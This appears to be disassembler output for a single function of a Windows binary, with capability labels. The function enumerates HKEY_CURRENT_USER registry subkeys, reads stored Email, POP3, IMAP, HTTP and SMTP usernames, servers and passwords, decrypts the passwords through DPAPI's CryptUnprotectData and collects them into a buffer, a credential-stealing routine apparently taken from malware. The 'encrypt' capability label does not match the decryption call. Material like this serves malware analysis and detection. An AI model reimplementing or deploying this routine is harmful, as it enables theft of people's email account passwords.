Function at 0x4080d4
Capabilities:
Encrypt data using dpapi
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf68
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x10], 0
mov byte [ebp - 0x12], 0
mov dword [ebp - 0xf30], 0x400
lea eax, [ebp - 0x1c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x40861b
jmp 0x4085b9
add dword [ebp - 0x10], 1
lea eax, [ebp - 0x428]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x413c69
mov dword [esp + 4], 0x400
lea eax, [ebp - 0x828]
mov dword [esp], eax
call fcn.0040afa3
lea eax, [ebp - 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
lea eax, [ebp - 0x828]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x4085af
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x12], 0
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0xf2c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x100
lea edx, [ebp - 0xa28]
mov dword [esp + 8], edx
mov dword [esp + 4], str.Email
mov dword [esp], eax
call fcn.00407eec
test al, al
je 0x4085a1
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0xf2c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x100
lea edx, [ebp - 0x928]
mov dword [esp + 8], edx
mov dword [esp + 4], str.POP3_User
mov dword [esp], eax
call fcn.00407eec
test al, al
je 0x40828f
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0xf2c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x100
lea edx, [ebp - 0xf28]
mov dword [esp + 8], edx
mov dword [esp + 4], str.POP3_Server
mov dword [esp], eax
call fcn.00407eec
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0xf2c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x400
lea edx, [ebp - 0xe28]
mov dword [esp + 8], edx
mov dword [esp + 4], str.POP3_Password
mov dword [esp], eax
call fcn.00407eec
mov byte [ebp - 0x12], al
mov byte [ebp - 0x11], 1
jmp 0x408461
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0xf2c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x100
lea edx, [ebp - 0x928]
mov dword [esp + 8], edx
mov dword [esp + 4], str.IMAP_User
mov dword [esp], eax
call fcn.00407eec
test al, al
je 0x40832c
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0xf2c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x100
lea edx, [ebp - 0xf28]
mov dword [esp + 8], edx
mov dword [esp + 4], str.IMAP_Server
mov dword [esp], eax
call fcn.00407eec
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0xf2c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x400
lea edx, [ebp - 0xe28]
mov dword [esp + 8], edx
mov dword [esp + 4], str.IMAP_Password
mov dword [esp], eax
call fcn.00407eec
mov byte [ebp - 0x12], al
mov byte [ebp - 0x11], 2
jmp 0x408461
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0xf2c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x100
lea edx, [ebp - 0x928]
mov dword [esp + 8], edx
mov dword [esp + 4], str.HTTP_User
mov dword [esp], eax
call fcn.00407eec
test al, al
je 0x4083c9
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0xf2c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x100
lea edx, [ebp - 0xf28]
mov dword [esp + 8], edx
mov dword [esp + 4], str.HTTP_Server
mov dword [esp], eax
call fcn.00407eec
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0xf2c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x400
lea edx, [ebp - 0xe28]
mov dword [esp + 8], edx
mov dword [esp + 4], str.HTTP_Password
mov dword [esp], eax
call fcn.00407eec
mov byte [ebp - 0x12], al
mov byte [ebp - 0x11], 3
jmp 0x408461
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0xf2c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x100
lea edx, [ebp - 0x928]
mov dword [esp + 8], edx
mov dword [esp + 4], str.SMTP_User
mov dword [esp], eax
call fcn.00407eec
test al, al
je 0x408461
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0xf2c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x100
lea edx, [ebp - 0xf28]
mov dword [esp + 8], edx
mov dword [esp + 4], str.SMTP_Server
mov dword [esp], eax
call fcn.00407eec
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0xf2c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x400
lea edx, [ebp - 0xe28]
mov dword [esp + 8], edx
mov dword [esp + 4], str.SMTP_Password
mov dword [esp], eax
call fcn.00407eec
mov byte [ebp - 0x12], al
mov byte [ebp - 0x11], 4
cmp byte [ebp - 0x12], 0
je 0x408512
movzx eax, byte [ebp - 0xe28]
cmp al, 2
jne 0x408512
mov eax, dword [ebp - 0xf2c]
sub eax, 1
mov dword [ebp - 0xf38], eax
lea eax, [ebp - 0xe28]
add eax, 1
mov dword [ebp - 0xf34], eax
lea eax, [ebp - 0xf40]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0xf38]
mov dword [esp], eax
call sub.CRYPT32.DLL_CryptUnprotectData
sub esp, 0x1c
test eax, eax
je 0x408512
mov edx, dword [ebp - 0xf40]
mov eax, dword [ebp - 0xf3c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0xe28]
mov dword [esp], eax
call fcn.0040b2af
mov eax, dword [ebp - 0xf3c]
mov dword [esp], eax
call sub.KERNEL32.dll_LocalFree
sub esp, 4
cmp byte [ebp - 0x11], 0
je 0x4085a1
movzx eax, byte [ebp - 0x11]
lea edx, [ebp - 0xe28]
mov dword [esp + 0x1c], edx
lea edx, [ebp - 0x928]
mov dword [esp + 0x18], edx
lea edx, [ebp - 0xa28]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0xf28]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], str._c_c_S_a_S_a_S_a_S_b_b_b_b
lea eax, [ebp - 0x24]
mov dword [esp], eax
call fcn.0040af50
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
je 0x4085a1
mov dword [esp + 0x10], 1
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x24]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x28]
mov dword [esp], eax
call fcn.0040b2cb
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x18]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov dword [ebp - 0xf30], 0x400
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
lea edx, [ebp - 0xf30]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x428]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegEnumKeyExA
sub esp, 0x20
cmp eax, 0x103
jne 0x408148
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, dword [ebp - 0x28]
leave
ret